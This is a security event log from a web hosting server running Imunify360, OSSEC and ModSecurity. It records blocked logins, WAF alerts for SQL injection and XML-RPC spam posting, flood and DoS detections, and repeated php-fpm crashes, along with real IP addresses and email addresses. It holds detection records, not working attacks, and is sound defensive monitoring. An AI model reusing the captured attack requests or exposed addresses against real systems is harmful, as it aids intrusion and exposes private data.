abuser: 185.197.9.62
country_id: 3175395
description:
Jul  1 05:24:23 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.138.167.146
country_id: 3144096
description:
Jul  1 05:24:49 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.138.167.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.25.193.37
country_id: 2661886
description:
2026-07-01 05:25:47 dovecot_login authenticator failed for H=tor-exit-read-me.dfri.se (5QYlnP9oEk) [171.25.193.37]:55938: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.25.193.37
country_id: 2661886
description:
Jul  1 05:25:45 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.25.193.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.138.167.146
country_id: 3144096
description:
Jul  1 05:25:02 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.138.167.146 has been locked due to Imunify RBL


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 77.243.90.12
country_id: 241170
domain: www.letabloid.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If you beloved this post and you would like to acquire a lot more information regarding ||MV:gt;If you beloved this post and you would like to acquire a lot more information regarding ||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:27:55 ns5 kernel: php-fpm[2229431]: segfault at 7ffd49757e28 ip 000000000072ad55 sp 00007ffd49757e28 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 44.252.109.212
country_id: 6252001
description:
44.252.109.212 - - [01/Jul/2026:05:27:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920552&pdata=https%253A%252F%252Fkpmg.tg%252F71fa419ddb91500bd6c40e52ac0c368c%252F5a62aa212b86bc08a2d77c395174ea68%252F53e05f3a2e9baf658df1f5afabd4036d%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782883658 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/71fa419ddb91500bd6c40e52ac0c368c/5a62aa212b86bc08a2d77c395174ea68/53e05f3a2e9baf658df1f5afabd4036d/index.php?cmd=login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.7871.46 Safari/537.36 Edge/18.19582" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:44.252.109.212


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:28:20 ns5 kernel: php-fpm[2230011]: segfault at 7ffd49757e28 ip 000000000072ad55 sp 00007ffd49757e28 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.134.23.177
country_id: 1880251
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1123||QS:add-to-cart=1123||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.97
country_id: 3175395
description:
Jul  1 05:29:17 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.97 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.136
country_id: 1880251
description:
47.128.121.136 - - [01/Jul/2026:05:29:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10186909&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fconcours-enfs-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782883772 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/concours-enfs-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.136


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:30:37 ns5 kernel: php-fpm[2233455]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.233.81.61
country_id: 3469034
domain: www.cfmi.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cfmi.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:31:05 ns5 kernel: php-fpm[2235081]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:32:47 ns5 kernel: php-fpm[2236490]: segfault at 7ffcf4b00b28 ip 000000000072ad55 sp 00007ffcf4b00b28 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.58.100.245
country_id: 6252001
domain: 52.13.103.236
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/52.13.103.236/azenv3.php HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 14.116.238.22
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-le-systeme-national-de-transfusion-sanguine-renforce/||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:33:23 ns5 kernel: php-fpm[2236772]: segfault at 7ffcf4b00b28 ip 000000000072ad55 sp 00007ffcf4b00b28 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:38:01 ns5 kernel: php-fpm[2237704]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:39:23 ns5 kernel: php-fpm[2238168]: segfault at 7ffcf4b00b28 ip 000000000072ad55 sp 00007ffcf4b00b28 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:40:20 ns5 kernel: php-fpm[2238466]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 171.228.18.164
country_id: 1562822
description:
2026-07-01 05:40:28 H=([0.0.0.0]) [171.228.18.164]:57283 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.83.252.229
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:172.83.252.229||TA:172.83.252.229||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:42:45 ns5 kernel: php-fpm[2240997]: segfault at 7ffcf4b00b28 ip 000000000072ad55 sp 00007ffcf4b00b28 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.77.141.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5a34809ff0be07d06213fe46bee789c456fcb198||Title:ki395gzv3hf4mhfaol||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.77.141.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:40a7670158aa11e3fa7431d0a7da5af768b6a4c3||Title:ouyncvuoh7t47x||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:44:30 ns5 kernel: php-fpm[2242250]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.77.141.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ed4e24f094ae39d71c403d3115e0d8eac9da1648||Title:ns6ymwm0dq8qtc8h7||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.77.141.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:01b8ab497c23d4598da99b093de34e82f1280da2||Title:dtsmrohjbyruvs||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:46:08 ns5 kernel: php-fpm[2244183]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.77.141.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d8f3d9f1eb79a7a1428bae9cc2e8327905cf35a0||Title:0lrn4etdvjlj2pr7||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:47:28 ns5 kernel: php-fpm[2246524]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.77.141.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:49f4c5b12a9fd4d46b3e192b00a03fd9ea8d5cd2||Title:2jn6btbx45ath3g3e3||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 05:47:16 +0000] info [cpaneld] 103.65.237.55 - 1yTd3Xo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:48:36 ns5 kernel: php-fpm[2250128]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.77.141.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e2023cdca6dd2429463f095f277f778331d490df||Title:a3hft2bge916xbe||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:49:23 ns5 kernel: php-fpm[2250353]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.77.141.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0449b7243b596cb3a474cc37baac7ff87d3c3f35||Title:yyu5idpew3t4p84s||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.77.141.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c26a294b41276567b6625a1f9ec84f042e717505||Title:p0myzr9x0i9y9jpk||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:52:32 ns5 kernel: php-fpm[2250393]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:53:55 ns5 kernel: php-fpm[2250589]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 45.3.53.12
country_id: 3469034
domain: shekina.tensai.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me?context=edit||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 45.3.38.108
country_id: 6252001
domain: shekina.tensai.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0||MV:/wp-json/wp/v2/users/me?context=edit||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:54:05 ns5 kernel: php-fpm[2250739]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 182.0.193.31
country_id: 1643084
description:
Denial of Service (DoS) attack was discovered from 182.0.193.31: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:56:09 ns5 kernel: php-fpm[2251366]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 05:57:05 ns5 kernel: php-fpm[2251799]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.71.186
country_id: 1512440
description:
2026-07-01 05:57:26 H=([84.54.71.186]) [84.54.71.186]:40816 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.232.160.1
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/umoa-sani-yaya-preside-le-consei-des-ministres/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.232.160.1
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/umoa-sani-yaya-preside-le-consei-des-ministres/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 06:02:39 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:03:08 ns5 kernel: php-fpm[2255293]: segfault at 7ffcf4b00b28 ip 000000000072ad55 sp 00007ffcf4b00b28 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:05:46 ns5 kernel: php-fpm[2256307]: segfault at 7ffcf4b00ad8 ip 000000000072ad55 sp 00007ffcf4b00ad8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:06:11 ns5 kernel: php-fpm[2256583]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 06:06:22 +0000] info [cpaneld] 167.99.236.81 - ayhhhyhk "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:07:33 ns5 kernel: php-fpm[2257225]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.149.60.5
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/10/images-16.jpeg 275w, http:/togodailynews.tg/wp-content/uploads/2021/10/images-16-272x182.jpeg 272w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.9.48.190
country_id: 1643084
description:
[2026-07-01 06:07:03 +0000] info [whostmgrd] 182.9.48.190 - test1 "POST /login/ HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:08:02 ns5 kernel: php-fpm[2257332]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 183.94.160.99
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/10/20211016_051714-COLLAGE-768x768.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2021/10/20211016_051714-COLLAGE-768x768-150x150.jpg 150w, http:/togodailynews.tg/wp-content/uploads/2021/10/20211016_051714-COLLAGE-768x768-300x300.jpg 300w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:10:59 ns5 kernel: php-fpm[2258572]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.130.232
country_id: 99237
description:
Jul  1 06:10:50 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.130.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.64
country_id: 690791
description:
Jul  1 06:10:29 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.130.232
country_id: 99237
description:
Jul  1 06:11:03 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.130.232 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.252.55.220
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:162.252.55.220||TA:162.252.55.220||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:14:08 ns5 kernel: php-fpm[2258646]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:15:50 ns5 kernel: php-fpm[2258648]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.167
country_id: 3469034
description:
Jul  1 06:16:33 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.167 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:17:03 ns5 kernel: php-fpm[2258880]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 172.59.26.150
country_id: 6252001
description:
172.59.26.150 - - [01/Jul/2026:06:17:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001350&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-programme-coupure-ceet-2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782886645 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-programme-coupure-ceet-2/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.7015.1430 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:172.59.26.150


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 199.96.167.237
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:199.96.167.237||TA:199.96.167.237||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.23.123.32
country_id: 2017370
description:
2026-07-01 06:17:01 dovecot_plain authenticator failed for H=(64kmaj7a7dux0ba051c81v4n) [89.23.123.32]:59345: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.250.204.228
country_id: 3144096
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.250.204.228||TA:104.250.204.228||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:19:26 ns5 kernel: php-fpm[2259736]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:21:02 ns5 kernel: php-fpm[2260428]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:22:09 ns5 kernel: php-fpm[2260843]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 06:22:29 +0000] info [cpaneld] 52.200.114.158 - ayhhhyhk "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 156.253.8.165
country_id: 241170
description:
[2026-07-01 06:23:14 +0000] info [cpaneld] 156.253.8.165 - ifxmoxbf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 06:24:49 +0000] info [cpaneld] 52.200.114.158 - pduusmyf "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.238.146
country_id: 3077311
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:92.112.238.146||TA:92.112.238.146||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:25:11 ns5 kernel: php-fpm[2261534]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.212.169.175
country_id: 1880251
description:
[2026-07-01 06:25:28 +0000] info [cpaneld] 20.212.169.175 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:26:49 ns5 kernel: php-fpm[2262363]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:27:25 ns5 kernel: php-fpm[2262829]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 91.247.163.252
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:91.247.163.252||TA:91.247.163.252||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:28:03 ns5 kernel: php-fpm[2262985]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 06:28:24 +0000] info [cpaneld] 103.65.237.55 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:29:01 ns5 kernel: php-fpm[2262925]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.205.217.7
country_id: 192950
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/djama-pilsner-donne-la-joie-aux-amoureux-du-ballon-rond HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 06:31:04 +0000] info [cpaneld] 103.65.237.55 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:32:03 ns5 kernel: php-fpm[2264513]: segfault at 7ffd2bda7f68 ip 000000000072ad55 sp 00007ffd2bda7f68 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 06:33:05 ns5 kernel: php-fpm[2264967]: segfault at 7ffd2bda7f18 ip 000000000072ad55 sp 00007ffd2bda7f18 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.75.123.30
country_id: 3469034
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/togo-colleges-et-lycees-publics-les-frais-dinscription-et-decolage-gratuit-pour-lannee-academique-2021-22/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.143.197.153
country_id: 1527747
domain: tdn.tghttp
description:
